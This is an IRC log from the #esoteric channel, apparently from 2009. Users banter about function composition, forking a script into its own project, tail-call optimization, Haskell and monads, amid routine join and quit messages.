:coppro!unknown@unknown.invalid PRIVMSG #esoteric :one of the neat features is function composition with + which makes it good for text processing < 1250455555 0 :ais523!unknown@unknown.invalid QUIT :Remote closed the connection < 1250455565 0 :FBP!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1250456304 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should talk to the project leader about forking it
< 1250456386 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :forking @ function composition? < 1250456473 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: ? < 1250456545 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i was just asking what coppro meant < 1250456610 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I mean to fork the script into a project of its own < 1250456630 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i guess that was the more sensible interpretation < 1250456679 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm sure you could've meant opening a thread for both functions, and setting up a pipe between them < 1250456762 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1250456814 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1250456848 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ah, I wish < 1250456859 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :unfortunately, sequential programming is necessary < 1250456870 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is writing in an optimizer though... would you believe it doesn't yet handle tail calls?
< 1250456910 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :sounds like a shit language. just use lua. < 1250456918 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :nah, just immature < 1250456923 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :coding sequentially sucks < 1250456972 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :yes. < 1250456982 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I suppose futures could be implemented, but for all the script does, it's not worth it < 1250456987 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :K guis have no sequential code ;-) < 1250457022 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Haskell does not have sequential code (modulo `seq`). The return value of Haskell is sequential code. >:D < 1250457055 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1250457072 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :btw I get monads now < 1250457075 0 :BeholdMyGlory!unknown@unknown.invalid PART #esoteric :? < 1250457114 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :w00ts. < 1250457140 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :coppro: are you sure < 1250457157 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: yeah, but you can still code imperatively in haskell < 1250457163 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the frp gui would look great on haskell < 1250457174 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ehird: True. < 1250457200 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ehird: well enough that I no longer get bewildered when they are mentioned < 1250457768 0 :augur!n=augur@c-71-196-114-50.hsd1.fl.comcast.net JOIN :#esoteric < 1250460088 0 :mycroftiv!n=drabgah@h69-128-47-245.mdsnwi.dedicated.static.tds.net JOIN :#esoteric < 1250460990 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Bye for now all! < 1250461303 0 :Sgeo!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1250461430 0 :augur!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1250461903 0 :ehird!unknown@unknown.invalid QUIT : < 1250462524 0 :MigoMipo!unknown@unknown.invalid QUIT :"QuitIRCServerException: MigoMipo disconnected from IRC Server" < 1250462551 0 :oerjan!n=oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1250463290 0 :ehird!n=ehird@91.105.76.79 JOIN :#esoteric < 1250465666 0 :augur!n=augur@c-71-196-114-50.hsd1.fl.comcast.net JOIN :#esoteric < 1250465892 0 :augur!unknown@unknown.invalid QUIT :Read error: 54 (Connection reset by peer) < 1250465902 0 :augur!n=augur@c-71-196-114-50.hsd1.fl.comcast.net JOIN :#esoteric < 1250466519 0 :BeholdMyGlory!n=behold@d83-183-181-73.cust.tele2.se JOIN :#esoteric < 1250466608 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote closed the connection